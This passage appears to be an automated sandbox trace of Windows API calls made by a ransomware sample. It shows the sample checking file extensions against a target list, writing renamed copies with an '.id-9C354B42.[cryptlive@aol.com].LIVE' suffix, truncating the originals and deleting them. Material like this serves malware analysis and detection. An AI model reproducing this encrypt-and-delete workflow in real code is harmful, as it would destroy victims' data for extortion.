lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.205] lstrlenW (lpString=".xls") returned 4 [0143.205] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.205] lstrlenW (lpString=".xlsx") returned 5 [0143.205] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.205] lstrlenW (lpString=".ppt") returned 4 [0143.205] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".zip") returned 4 [0143.206] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString=".rar") returned 4 [0143.206] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString=".bz2") returned 4 [0143.206] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.206] lstrlenW (lpString=".7z") returned 3 [0143.206] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".dbf") returned 4 [0143.206] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".1cd") returned 4 [0143.206] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".jpg") returned 4 [0143.206] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".doc") returned 4 [0143.206] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0143.206] lstrlenW (lpString=".docx") returned 5 [0143.206] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0143.206] lstrlenW (lpString=".pdf") returned 4 [0143.206] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString=".xls") returned 4 [0143.206] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString=".xlsx") returned 5 [0143.206] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0143.206] lstrlenW (lpString=".ppt") returned 4 [0143.206] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.206] lstrlenW (lpString=".zip") returned 4 [0143.206] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0143.206] lstrlenW (lpString=".rar") returned 4 [0143.207] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0143.207] lstrlenW (lpString=".bz2") returned 4 [0143.207] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0143.207] lstrlenW (lpString=".7z") returned 3 [0143.207] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.207] lstrlenW (lpString=".dbf") returned 4 [0143.207] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.207] lstrlenW (lpString=".1cd") returned 4 [0143.207] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61 [0143.207] lstrlenW (lpString=".jpg") returned 4 [0143.207] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0143.207] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.207] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15 [0143.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.207] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0143.208] CloseHandle (hObject=0x384) returned 1 [0143.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 0x20 [0143.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.208] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.208] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.209] GetLastError () returned 0x0 [0143.209] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0143.210] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.211] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.211] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0143.211] SetEndOfFile (hFile=0x388) returned 1 [0143.211] CloseHandle (hObject=0x388) returned 1 [0143.215] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.215] SetEndOfFile (hFile=0x384) returned 1 [0143.217] CloseHandle (hObject=0x384) returned 1 [0143.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 1 [0143.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.219] lstrlenW (lpString=".doc") returned 4 [0143.219] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.219] lstrlenW (lpString=".docx") returned 5 [0143.219] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.219] lstrlenW (lpString=".pdf") returned 4 [0143.219] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.219] lstrlenW (lpString=".xls") returned 4 [0143.219] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.219] lstrlenW (lpString=".xlsx") returned 5 [0143.219] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.219] lstrlenW (lpString=".ppt") returned 4 [0143.219] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.219] lstrlenW (lpString=".zip") returned 4 [0143.220] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString=".rar") returned 4 [0143.220] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString=".bz2") returned 4 [0143.220] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.220] lstrlenW (lpString=".7z") returned 3 [0143.220] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString=".dbf") returned 4 [0143.220] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString=".1cd") returned 4 [0143.220] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString=".jpg") returned 4 [0143.220] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString=".doc") returned 4 [0143.220] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.220] lstrlenW (lpString=".docx") returned 5 [0143.220] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.220] lstrlenW (lpString=".pdf") returned 4 [0143.220] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString=".xls") returned 4 [0143.220] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString=".xlsx") returned 5 [0143.220] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.220] lstrlenW (lpString=".ppt") returned 4 [0143.220] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.220] lstrlenW (lpString=".zip") returned 4 [0143.220] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.220] lstrlenW (lpString=".rar") returned 4 [0143.220] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.221] lstrlenW (lpString=".bz2") returned 4 [0143.221] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.221] lstrlenW (lpString=".7z") returned 3 [0143.221] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.221] lstrlenW (lpString=".dbf") returned 4 [0143.221] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.221] lstrlenW (lpString=".1cd") returned 4 [0143.221] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63 [0143.221] lstrlenW (lpString=".jpg") returned 4 [0143.221] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.221] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0143.221] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15 [0143.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.222] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0143.222] CloseHandle (hObject=0x384) returned 1 [0143.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 0x20 [0143.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0143.222] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.222] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0143.223] GetLastError () returned 0x0 [0143.223] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0143.224] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0143.224] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.225] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0143.225] SetEndOfFile (hFile=0x388) returned 1 [0143.225] CloseHandle (hObject=0x388) returned 1 [0143.225] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.225] SetEndOfFile (hFile=0x384) returned 1 [0143.227] CloseHandle (hObject=0x384) returned 1 [0143.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 1 [0143.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.228] lstrlenW (lpString=".doc") returned 4 [0143.228] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.228] lstrlenW (lpString=".docx") returned 5 [0143.229] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.229] lstrlenW (lpString=".pdf") returned 4 [0143.229] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString=".xls") returned 4 [0143.229] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString=".xlsx") returned 5 [0143.229] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.229] lstrlenW (lpString=".ppt") returned 4 [0143.229] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.229] lstrlenW (lpString=".zip") returned 4 [0143.229] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString=".rar") returned 4 [0143.229] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString=".bz2") returned 4 [0143.229] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.229] lstrlenW (lpString=".7z") returned 3 [0143.229] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.229] lstrlenW (lpString=".dbf") returned 4 [0143.229] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.229] lstrlenW (lpString=".1cd") returned 4 [0143.229] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.229] lstrlenW (lpString=".jpg") returned 4 [0143.229] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString=".doc") returned 4 [0143.230] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0143.230] lstrlenW (lpString=".docx") returned 5 [0143.230] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0143.230] lstrlenW (lpString=".pdf") returned 4 [0143.230] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0143.230] lstrlenW (lpString=".xls") returned 4 [0143.230] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0143.230] lstrlenW (lpString=".xlsx") returned 5 [0143.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0143.230] lstrlenW (lpString=".ppt") returned 4 [0143.230] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString=".zip") returned 4 [0143.230] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0143.230] lstrlenW (lpString=".rar") returned 4 [0143.230] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0143.230] lstrlenW (lpString=".bz2") returned 4 [0143.230] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0143.230] lstrlenW (lpString=".7z") returned 3 [0143.230] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString=".dbf") returned 4 [0143.230] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString=".1cd") returned 4 [0143.230] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63 [0143.230] lstrlenW (lpString=".jpg") returned 4 [0143.230] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0143.231] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0143.231] lstrlenW (lpString="MSTINTL.DLL") returned 11 [0143.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0143.340] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=89432) returned 1 [0143.340] CloseHandle (hObject=0x314) returned 1 [0143.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll")) returned 0x20 [0143.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".doc") returned 4 [0143.357] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString=".docx") returned 5 [0143.357] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0143.357] lstrlenW (lpString=".pdf") returned 4 [0143.357] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString=".xls") returned 4 [0143.357] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString=".xlsx") returned 5 [0143.357] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0143.357] lstrlenW (lpString=".ppt") returned 4 [0143.357] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".zip") returned 4 [0143.357] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString=".rar") returned 4 [0143.357] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString=".bz2") returned 4 [0143.357] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.357] lstrlenW (lpString=".7z") returned 3 [0143.357] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".dbf") returned 4 [0143.357] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".1cd") returned 4 [0143.357] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".jpg") returned 4 [0143.357] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.357] lstrlenW (lpString=".doc") returned 4 [0143.357] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString=".docx") returned 5 [0143.358] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0143.358] lstrlenW (lpString=".pdf") returned 4 [0143.358] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString=".xls") returned 4 [0143.358] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString=".xlsx") returned 5 [0143.358] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0143.358] lstrlenW (lpString=".ppt") returned 4 [0143.358] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.358] lstrlenW (lpString=".zip") returned 4 [0143.358] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString=".rar") returned 4 [0143.358] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0143.358] lstrlenW (lpString=".bz2") returned 4 [0143.358] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0143.358] lstrlenW (lpString=".7z") returned 3 [0143.358] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0143.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.358] lstrlenW (lpString=".dbf") returned 4 [0143.358] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0143.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.358] lstrlenW (lpString=".1cd") returned 4 [0143.358] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0143.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59 [0143.358] 